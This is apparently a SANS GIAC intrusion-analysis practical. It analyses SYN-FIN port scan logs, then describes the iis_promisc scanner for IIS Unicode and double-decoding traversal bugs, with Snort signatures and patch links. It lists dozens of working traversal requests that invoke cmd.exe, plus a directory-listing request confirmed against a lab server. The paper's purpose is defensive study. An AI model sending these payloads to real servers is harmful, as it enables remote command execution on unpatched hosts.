May 4 15:07:21 212.109.2.136:21 -> z.y.w.34:21 SYNFIN **SF****
May 4 15:07:40 212.109.2.136:53 -> z.y.w.34:53 SYNFIN **SF****
May 4 15:07:57 212.109.2.136:109 -> z.y.w.34:109 SYNFIN **SF****
May 4 15:08:16 212.109.2.136:110 -> z.y.w.34:110 SYNFIN **SF****
May 4 15:08:28 212.109.2.136:111 -> z.y.w.34:111 SYNFIN **SF****
May 4 15:08:47 212.109.2.136:143 -> z.y.w.34:143 SYNFIN **SF****
May 4 15:09:07 212.109.2.136:1080 -> z.y.w.34:1080 SYNFIN **SF****
May 5 18:04:14 212.109.2.136:109 -> z.y.w.34:109 SYNFIN **SF****

Apr 28 14:36:38 212.109.2.136:21 -> z.y.w.98:21 SYNFIN **SF****
Apr 28 14:37:01 212.109.2.136:21 -> z.y.w.98:21 SYNFIN **SF****
Apr 28 14:37:54 212.109.2.136:21 -> z.y.w.98:21 SYNFIN **SF****
Apr 28 19:13:00 212.109.2.136:53 -> z.y.w.98:53 SYNFIN **SF****
Apr 28 23:47:26 212.109.2.136:109 -> z.y.w.98:109 SYNFIN **SF****
Apr 29 04:21:40 212.109.2.136:110 -> z.y.w.98:110 SYNFIN **SF****
Apr 29 08:56:08 212.109.2.136:111 -> z.y.w.98:111 SYNFIN **SF****
```

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

```
Apr 29 08:56:09 212.109.2.136:812 -> z.y.w.98:111 SYN **S*****
Apr 29 12:08:59 212.109.2.136:21 -> z.y.w.98:21 SYNFIN **SF****
Apr 29 12:09:06 212.109.2.136:53 -> z.y.w.98:53 SYNFIN **SF****
Apr 29 12:09:14 212.109.2.136:109 -> z.y.w.98:109 SYNFIN **SF****
Apr 29 12:09:20 212.109.2.136:110 -> z.y.w.98:110 SYNFIN **SF****
Apr 29 12:09:23 212.109.2.136:111 -> z.y.w.98:111 SYNFIN **SF****
Apr 29 13:30:25 212.109.2.136:143 -> z.y.w.98:143 SYNFIN **SF****
Apr 29 13:30:26 212.109.2.136:4904 -> z.y.w.98:143 SYN **S*****
Apr 29 15:08:58 212.109.2.136:21 -> z.y.w.98:21 SYNFIN **SF****
Apr 29 15:09:04 212.109.2.136:53 -> z.y.w.98:53 SYNFIN **SF****
Apr 29 15:09:12 212.109.2.136:109 -> z.y.w.98:109 SYNFIN **SF****
Apr 29 15:09:17 212.109.2.136:110 -> z.y.w.98:110 SYNFIN **SF****
Apr 29 15:09:21 212.109.2.136:111 -> z.y.w.98:111 SYNFIN **SF****
Apr 29 18:04:44 212.109.2.136:1080 -> z.y.w.98:1080 SYNFIN **SF****
Apr 29 18:04:44 212.109.2.136:8381 -> z.y.w.98:1080 SYN **S*****
May 1 08:26:19 212.109.2.136:21 -> z.y.w.98:21 SYNFIN **SF****
May 1 08:26:27 212.109.2.136:53 -> z.y.w.98:53 SYNFIN **SF****
May 1 08:26:32 212.109.2.136:109 -> z.y.w.98:109 SYNFIN **SF****
May 1 08:26:40 212.109.2.136:110 -> z.y.w.98:110 SYNFIN **SF****
May 1 08:26:44 212.109.2.136:111 -> z.y.w.98:111 SYNFIN **SF****
May 1 08:26:49 212.109.2.136:143 -> z.y.w.98:143 SYNFIN **SF****
May 1 08:26:55 212.109.2.136:1080 -> z.y.w.98:1080 SYNFIN **SF****
May 1 08:26:55 212.109.2.136:8381 -> z.y.w.98:1080 SYN **S*****
May 4 06:24:55 212.109.2.136:21 -> z.y.w.98:21 SYNFIN **SF****
May 4 06:25:00 212.109.2.136:53 -> z.y.w.98:53 SYNFIN **SF****
May 4 06:25:03 212.109.2.136:109 -> z.y.w.98:109 SYNFIN **SF****
May 4 06:25:11 212.109.2.136:110 -> z.y.w.98:110 SYNFIN **SF****
May 4 06:25:14 212.109.2.136:111 -> z.y.w.98:111 SYNFIN **SF****
May 4 06:25:18 212.109.2.136:143 -> z.y.w.98:143 SYNFIN **SF****
May 4 06:25:22 212.109.2.136:1080 -> z.y.w.98:1080 SYNFIN **SF****
May 4 06:25:22 212.109.2.136:8381 -> z.y.w.98:1080 SYN **S*****
May 5 18:04:15 212.109.2.136:109 -> z.y.w.98:109 SYNFIN **SF****
```

The trace from http://www.sans.org/y2k/051100.htm shows that this scanning technique is not unique to this attacker.

The offender's IP address came from the network belonging to Korea Network Information Center according to APNIC Whois database. However, no other reference to this IP address was made in the SANS GCIA database.

```
inetnum             211.172.0.0 - 211.199.255.255
netname             KRNIC-KR-27
descr               KRNIC
descr               Korea Network Information Center
country             KR
admin-c             WK1-AP, inverse
tech-c              SL119-AP, inverse
remarks             KRNIC Allocation Block
remarks             Authoritative Information regarding assignments
and
remarks             allocations made from within this block can also
be
```

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

```
remarks             queried at whois.nic.or.kr
mnt-by              APNIC-HM, inverse
mnt-lower           MNT-KRNIC-AP, inverse
changed             hostmaster@apnic.net 20000607
source              APNIC
```

Searching the Google search engine came back with evidence that the scanner has been scanning a few other networks as well. The trace below was obtained from http://www.law.tohoku.ac.jp/~kanaya/snfout.snort_portscan.log/211/178/63/src211.178.63.4.html. The output, generated by using SnortSnarf available from Silicon Defense, states that the same scanner performed 4 different types of scans, UDP, TCP-SYN, TCP-SYNFIN, and SYN Portscan. The trace blow is an excerpt from the Snort log recording the scans from 211.178.63.4 on Apr. 01, 2001.

```
Apr 1 12:30:55 211.178.63.4:109-> 130.34.145.96:109 SYNFIN ******SF
[**] SCAN synscan portscan [**]
04/01-12:30:55.230904 211.178.63.4:109-> 130.34.145.96:109
TCP TTL:24 TOS:0x0 ID:39426 IpLen:20 DgmLen:40
******SF Seq: 0x2073C0C0 Ack: 0xC63DBE5 Win: 0x404 TcpLen: 20
Apr 1 12:31:01 211.178.63.4:21-> 130.34.145.96:21 SYNFIN ******SF
[**] SCAN synscan portscan [**]
04/01-12:31:01.000991 211.178.63.4:21-> 130.34.145.96:21
TCP TTL:24 TOS:0x0 ID:39426 IpLen:20 DgmLen:40
******SF Seq: 0x34313700 Ack: 0x4A1CACAC Win: 0x404 TcpLen: 20
Apr 1 12:31:10 211.178.63.4:53-> 130.34.145.96:53 SYNFIN ******SF
[**] SCAN synscan portscan [**]
04/01-12:31:10.661166 211.178.63.4:53-> 130.34.145.96:53
TCP TTL:24 TOS:0x0 ID:39426 IpLen:20 DgmLen:40
******SF Seq: 0x3EE9A3A1 Ack: 0x1AEED910 Win: 0x404 TcpLen: 20
Apr 1 12:31:24 211.178.63.4:8080-> 130.34.145.96:8080 SYNFIN ******SF
[**] SCAN synscan portscan [**]
04/01-12:31:24.081408 211.178.63.4:8080-> 130.34.145.96:8080
TCP TTL:24 TOS:0x0 ID:39426 IpLen:20 DgmLen:40
******SF Seq: 0x52FCBC22 Ack: 0x9B0A497 Win: 0x404 TcpLen: 20
Apr 1 20:06:11 211.178.63.4:109-> 130.34.145.117:109 SYNFIN ******SF
[**] SCAN synscan portscan [**]
04/01-20:06:11.647739 211.178.63.4:109-> 130.34.145.117:109
TCP TTL:24 TOS:0x0 ID:39426 IpLen:20 DgmLen:40
******SF Seq: 0x60CB2E5F Ack: 0x56870043 Win: 0x404 TcpLen: 20
Apr 1 20:06:16 211.178.63.4:21-> 130.34.145.117:21 SYNFIN ******SF
[**] SCAN synscan portscan [**]
04/01-20:06:16.497809 211.178.63.4:21-> 130.34.145.117:21
TCP TTL:24 TOS:0x0 ID:39426 IpLen:20 DgmLen:40
******SF Seq: 0x4640A535 Ack: 0x1EE4B6AA Win: 0x404 TcpLen: 20
… Cut for brevity…
```

7. Evidence of active targeting:

There is no sign of active targeting yet according to the trace. The scan is to identify the systems with the ports, that the scanner is interested in, open and accessible to the computer systems from the Internet.

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

8. Severity:

Using the formula (Criticality + Lethality) – (System Countermeasures + Network Countermeasures) = Severity, the severity in this trace is -2.

I am giving the average number of 2 for criticality since there is no one being targeted by the detected activity.

Lethality is 3 as this is just a reconnaissance activity, however, it is possible for the attacker gain valuable information about the scanned network.

System Countermeasures is 3 for now as we do not know the state of security for the scanned systems.

Network Countermeasures is 4 since the network-based intrusion detection system is monitoring the traffic.

9. Defensive recommendation:

Security procedures implemented on the hosts and network perimeter systems should be reviewed to make sure only the necessary traffic is allowed in and serviced. If no firewall is being used, a stateful firewall should be implemented to block these anomalous TCP packets from entering the home network as simple packet-filtering routers may not be able to deflect this type of evasive scanning packets. If a firewall is already being used, the firewall log should be analyzed to make sure these packets are properly stopped at the firewall.

10. Multiple choice test question:

```
Mar 31 00:27:44 211.178.63.4:111 -> MY.NET.133.35:111 SYNFIN **SF****
Mar 31 00:29:42 211.178.63.4:21 -> MY.NET.157.35:21 SYNFIN **SF****
Mar 31 00:30:25 211.178.63.4:8080 -> MY.NET.161.35:8080 SYNFIN **SF****
```

Which of the following statements is strongest reason to show that the logged packets above have been crafted?

a) The source IP address is not changing.
b) The packets have same source port and destination port.
c) The ports smaller than 1024 was used which requires root access on the originating system to achieve.
d) The TCP flags SYN and FIN are used together.

The answer is d. Although b) and c) are good indications that the packets could have been crafted, they can occur in the natural TCP/IP connections. However, d) won't occur unless the packets have been specifically crafted.

Assignment II - Describe the State of Intrusion Detection

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

Introduction

Source of the Tool or Exploit

A vulnerability scanner iis_promisc v2.0 can be obtained from SecuriTeam.com. This tool was posted on May 21, 2001 and the site advertises it as a tool to detect Escaped Characters Decoding Bug, Unicode Directory Transversal Bug (CAN-2000-0884), and Executable File Parsing Bug for Microsoft Internet Information Services 4 and 5.

How the tool works

By default, iis_promisc examines the targeted IIS web server using requests generated from combinations of 12 directories, 4 character strings and a test command.

The 12 directories that are examined by the program are:

- "/",
- "/scripts/",
- "/msadc/",
- "/cgi-bin/",
- "/bin/",
- "/samples/",
- "/_vti_cnf/",
- "/_vti_bin/",
- "/adsamples/",
- "/iisadmpwd/",
- "/Rpc/", and
- "/PBServer/".

Along with the 12 directories shown above, there are 4 different character strings, shown below, to traverse the directories:

- "..%255c..%255c..%255c..%255c..%255c..%255c",
- "..%c0%af../..%c0%af../..%c0%af../",
- "..%e0%80%af../..%e0%80%af../..%e0%80%af../",
- "boo.bat/..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C"

In addition to the combinations of directories and character strings, the program will use a test command to verify the vulnerabilities exist. In the program the test command is "winnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro".

All these directories, directory traversing strings, and test command are combined to give 48 different requests that can be sent over to a IIS web server. The complete list of all possible requests using the built-in directories, strings and commands are given below:

© SANS Institute 2000 - 2002, Author retains full rights.

Group 1
"/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/scripts/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/msadc/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/cgi-bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/samples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/_vti_bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/iisadmpwd/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/Rpc/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/PBServer/..%255c..%255c..%255c..%255c..%255c..%255c"
Group 2
"/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/scripts/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/cgi-bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/samples/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/_vti_cnf/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/adsamples/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/iisadmpwd/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/Rpc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/PBServer/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro",
Group 3
"/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/scripts/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/msadc/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro",

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

"/cgi-bin/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/bin/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/samples/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/_vti_cnf/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/_vti_bin/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/adsamples/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/iisadmpwd/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/Rpc/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/PBServer/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro",
Group 4
"/boo.bat/..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/scripts/boo.bat/..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/msadc/boo.bat/..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/cgi-bin/boo.bat/..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/bin/boo.bat/..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/samples/boo.bat/..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/_vti_cnf/boo.bat/..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/_vti_bin/boo.bat/..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/adsamples/boo.bat/..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/iisadmpwd/boo.bat/..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/Rpc/boo.bat/..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+echo+MinhaNossaSenhoraDoPerpetuoSocorro", "/PBServer/boo.bat/..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C"

As the author of the tools comments in the program, the directories can be customized by adding more directories or by deleting the existing directories. Also this applies to the test command as well.

What the program is trying to do is to test whether the target web server will execute the test command and return a response other than "404". More specifically, the program looks for the test string "MinhaNossaSenhoraDoPerpetuoSocorro" in the response to decide whether the vulnerability exists as this string is sent to the web server to be displayed back if a vulnerability were to exist. If the web server were to return the test string as a part of the response, then the

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

target web server has the vulnerability that can be further exploited by anyone with the knowledge about the hole.

If the web server returns an expected reply as a result of executing the test command, iis_promisc displays the exact request that was sent to the web server as a vulnerability.

A sample result from running the tool against my Windows 2000 test web server with IIS 5 is shown below:

```
$ perl iis_promisc.pl 10.10.10.3

-*- VULN -*-
http://10.10.10.3/_vti_bin/..%255c..%255c..%255c..%255c..%255c..%2
55cwinnt/system32/cmd.exe?/c+dir

-*- VULN -*-
http://10.10.10.3/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/
system32/cmd.exe?/c+dir

-*- VULN -*-
http://10.10.10.3/_vti_bin/..%e0%80%af../..%e0%80%af../..%e0%80%af
../winnt/system32/cmd.exe?/c+dir

-*- VULN -*-
http://10.10.10.3/_vti_bin/boo.bat/..%C1%9C..%C1%9C..%C1%9C..%C1%9
C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir


  -*--*--*--*--*--*--*--*--*--*--*-
  -*- Escaped Characters Decoding Bug -*-
  -*- Microsoft IIS 5.0 PATCH:
  -*-
http://download.microsoft.com/download/win2000platform/Patch/q293826/NT5/EN-
US/Q293826_W2K_SP3_x86_en.EXE
  -*- Microsoft IIS 4.0 PATCH:
  -*- http://download.microsoft.com/download/winntsp/Patch/q293826/NT4/EN-
US/Q29
5534i.exe

        -*--*--*--*--*--*--*--*--*--*--*-*-
        -*- Unicode Directory Transversal Bug -*-
        -*- Microsoft IIS 5.0 PATCH:
        -*-
http://www.microsoft.com/windows2000/downloads/critical/q269862/defa
ult.asp
  -*- Microsoft IIS 4.0 PATCH:
        -*-
http://www.microsoft.com/ntserver/nts/downloads/critical/q269862/def
ault.asp

        -*--*--*--*--*--*--*--*--*--*--*-*-
        -*- Executable File Parsing Bug -*-
        -*- Microsoft IIS 5.0 PATCH:
        -*-
http://download.microsoft.com/download/win2000platform/Patch/Q277873
```

© SANS Institute 2000 - 2002, Author retains full rights

```
/NT5/EN-US/Q277873_W2K_SP2_x86_en.EXE
  -*- Microsoft IIS 4.0 PATCH:
        -*- http://www.microsoft.com/ntserver/nts/downloads/critical/q277873
  -*- 4 hole(s) found at 10.10.10.3! -*-

$
```

According to iss_promisc, my test web server does have the vulnerabilities. The next step confirms the existence of the vulnerability. Upon using the request string, http://10.10.10.3/_vti_bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir%20c:\winnt, I get the list of contents in C:\WINNT directory. Apparently, this vulnerability exposes not just the contents on the same drive as the web server, but also those on other partitioned drives as well.

The benefit of running iis_promisc against a target web server is just not just limited to learning whether there are vulnerabilities with the web server, namely Escaped Characters Decoding Bug, Unicode Directory Transversal Bug and Executable File Parsing Bug. The program will also display the location of patches from Microsoft to fix the holes the program detected.

Network trace

Using TCPDUMP V3.6, we can examine the packets that are exchanged between the scanner and the web server.

First we see the program making a TCP connection to the web server.

```
17:21:13.721382 scanner.com.1469 > target.com.www: S
709630736:709630736(0) win 32120 <mss 1460,sackOK,timestamp 71770670
0,nop,wscale 0> (DF)

17:21:13.747411 target.com.www > scanner.com.1469: S
1697705677:1697705677(0) ack 709630737 win 17520 <mss 1460,nop,wscale
0,nop,nop,timestamp 0 0,nop,nop,sackOK> (DF)

17:21:13.747589 scanner.com.1469 > target.com.www: . ack 1 win 32120
<nop,nop,timestamp 71770673 0> (DF)
```

Then we see the scanner start sending the HTTP requests to the web server.

```
17:21:13.751498 scanner.com.1469 > target.com.www: P 1:187(186) ack 1
win 32120 <nop,nop,timestamp 71770673 0> (DF)
0x0000    4500 00ee 3fce 4000 4006 3161 0943 df32      E...?.@.@.1a.C.2
0x0010    0943 d722 05bd 0050 2a4c 1b11 6530 eece      .C."...P*L..e0..
0x0020    8018 7d78 d072 0000 0101 080a 0447 2231      ..}x.r.......G"1
0x0030    0000 0000 4745 5420 2f5f 7674 695f 6269      ....GET./_vti_bi
0x0040    6e2f 2e2e 2532 3535 632e 2e25 3235 3563      n/..%255c..%255c
0x0050    2e2e 2532 3535 632e 2e25 3235 3563 2e2e      ..%255c..%255c..
0x0060    2532 3535 632e 2e25 3235 3563 7769 6e6e      %255c..%255cwinn
0x0070    742f 7379 7374 656d 3332 2f63 6d64 2e65      t/system32/cmd.e
```

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

```
0x0080    7865 3f2f 632b 6563 686f 2b4d 696e 6861      xe?/c+echo+Minha
0x0090    4e6f 7373 6153 656e 686f 7261 446f 5065      NossaSenhoraDoPe
0x00a0    7270 6574 756f 536f 636f 7272 6f20 4854      rpetuoSocorro.HT
0x00b0    5450 2f31 2e30 0d0a 486f 7374 3a20 xx2e      TP/1.0..Host:.x.
0x00c0    xxxx 2exx xxxx 2exx xx0d 0a55 7365 722d      xx.xxx.xx..User-
0x00d0    4167 656e 743a 204d 6f7a 696c 6c61 2f35      Agent:.Mozilla/5
0x00e0    2e30 2028 5769 6e39 3529 0d0a 0d0a           .0.(Win95)....
```

When the vulnerability existed, the following response was received:

```
17:21:13.819173 target.com.www > scanner.com.1469: P 1:392(391) ack 187
win 17334 <nop,nop,timestamp 15647115 71770673> (DF)
0x0000    4500 01bb 1ea9 4000 7d06 14b9 0943 d722      E.....@.}....C."
0x0010    0943 df32 0050 05bd 6530 eece 2a4c 1bcb      .C.2.P..e0..*L..
0x0020    8018 43b6 d397 0000 0101 080a 00ee c18b      ..C.............
0x0030    0447 2231 4854 5450 2f31 2e31 2035 3032      .G"1HTTP/1.1.502
0x0040    2047 6174 6577 6179 2045 7272 6f72 0d0a      .Gateway.Error..
0x0050    5365 7276 6572 3a20 4d69 6372 6f73 6f66      Server:.Microsof
0x0060    742d 4949 532f 352e 300d 0a44 6174 653a      t-IIS/5.0..Date:
0x0070    2057 6564 2c20 3330 204d 6179 2032 3030      .Wed,.30.May.200
0x0080    3120 3136 3a32 333a 3233 2047 4d54 0d0a      1.16:23:23.GMT..
0x0090    436f 6e74 656e 742d 4c65 6e67 7468 3a20      Content-Length:.
0x00a0    3235 310d 0a43 6f6e 7465 6e74 2d54 7970      251..Content-Typ
0x00b0    653a 2074 6578 742f 6874 6d6c 0d0a 0d0a      e:.text/html....
0x00c0    3c68 6561 643e 3c74 6974 6c65 3e45 7272      <head><title>Err
0x00d0    6f72 2069 6e20 4347 4920 4170 706c 6963      or.in.CGI.Applic
0x00e0    6174 696f 6e3c 2f74 6974 6c65 3e3c 2f68      ation</title></h
0x00f0    6561 643e 0a3c 626f 6479 3e3c 6831 3e43      ead>.<body><h1>C
0x0100    4749 2045 7272 6f72 3c2f 6831 3e54 6865      GI.Error</h1>The
0x0110    2073 7065 6369 6669 6564 2043 4749 2061      .specified.CGI.a
0x0120    7070 6c69 6361 7469 6f6e 206d 6973 6265      pplication.misbe
0x0130    6861 7665 6420 6279 206e 6f74 2072 6574      haved.by.not.ret
0x0140    7572 6e69 6e67 2061 2063 6f6d 706c 6574      urning.a.complet
0x0150    6520 7365 7420 6f66 2048 5454 5020 6865      e.set.of.HTTP.he
0x0160    6164 6572 732e 2020 5468 6520 6865 6164      aders...The.head
0x0170    6572 7320 6974 2064 6964 2072 6574 7572      ers.it.did.retur
0x0180    6e20 6172 653a 3c70 3e3c 703e 3c70 7265      n.are:<p><p><pre
0x0190    3e4d 696e 6861 4e6f 7373 6153 656e 686f      >MinhaNossaSenho
0x01a0    7261 446f 5065 7270 6574 756f 536f 636f      raDoPerpetuoSoco
0x01b0    7272 6f0d 0a3c 2f70 7265 3e                  rro..</pre>
```

Although the web server did complain with the 502 Gateway Error message, the test command was still executed and gave me the output with "MinhaNossaSenhoraDoPerpetuoSocorro".

```
HTTP/1.1.502.Gateway.Error..Server:.Microsoft-
IIS/5.0..Date:.Wed,.30.May.2001.16:23:23.GMT..Content-
Length:.251..Content-
Type:.text/html....<head><title>Error.in.CGI.Application</title></head>
.<body><h1>CGI.Error</h1>The.specified.CGI.application.misbehaved.by.no
t.returning.a.complete.set.of.HTTP.headers...The.headers.it.did.return.
are:<p><p><pre>MinhaNossaSenhoraDoPerpetuoSocorro..</pre>
```

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

If the test HTTP request fails to reveal any vulnerability, the target would generate the "HTTP 404 - File not found Internet Information Services" error message.

Any other references on vulnerabilities

Microsoft Security Bulletin MS01-026 with the title "Superfluous Decoding Operation Could Allow Command Execution via IIS" discusses the Escaped Characters Decoding vulnerability. Microsoft Security Bulletin MS00-086 with the title "Patch Available for Web Server File Request Parsing Vulnerability" discusses the Executable File Parsing Bug. Microsoft Security Bulletin MS00-057 and MS00-078 explains the "Web Server Folder Traversal" vulnerability.

SecurityFocus.com also explains the Microsoft IIS and PWS Extended Unicode Directory Traversal Vulnerability. An article titled "A look at whisker's anti-IDS tactics" by Rain Forest Puppy discusses several techniques to evade intrusion detection systems, but while doing so explains important concepts of URL encoding and reverse traversal which are used by iis_promisc.

Although the a specific program is not needed to exploit the vulnerabilities discussed in this section, the following tools are also listed at the securityfocus.com site as available tools to detect the IIS vulnerabilities:

- Optyx optyx@newhackcity.net has released the following exploits:

    1. iis-zang.c
    2. iis-zang.exe
    3. iis-zang.obsd
    4. iis-zang.linux

- Roelof Temmingh <roelof@sensepost.com>has released the following exploits:

    1. unicodecheck.pl
    2. unicodexecute.pl
    3. unicodexecute2.pl

- <Eliel.Sardanons@philips.edu.ar> has released the following exploit:

    1. /data/vulnerabilities/exploits/iis-zang.c
    2. /data/vulnerabilities/exploits/iis-zang.exe
    3. /data/vulnerabilities/exploits/iis-zang.obsd
    4. /data/vulnerabilities/exploits/iis-zang.linux
    5. /data/vulnerabilities/exploits/unicodecheck.pl
    6. /data/vulnerabilities/exploits/unicodexecute.pl
    7. /data/vulnerabilities/exploits/unicodexecute2.pl
    8. /data/vulnerabilities/exploits/iisuni.c

How to detect the attack

© SANS Institute 2000 - 2002, Author retains full rights.

From Whitehats.com, we can download signatures below to detect an attack against the HTTP-IIS-UNICODE-TRAVERSAL vulnerability (CAN-2000-0884) for Snort. However, this signature will not detect all different combinations Unicode encoding as only combination that will be detected with this signature is "**..%c1%1c**".

Snort 1.7 compatible

```
alert TCP $EXTERNAL any -> $INTERNAL 80 (msg: "IDS432/http-iis-unicode-
traversal"; flags: A+; content: "..|25|c1|25|1c"; nocase;)
```

Snort 1.8 compatible

```
alert TCP $EXTERNAL any -> $INTERNAL 80 (msg: "IDS432/http-iis-unicode-
traversal"; flags: A+; uricontent: "..|25|c1|25|1c"; nocase; classtype:
system-attempt; reference: arachnids,432;)
```

How to fix the vulnerabilities

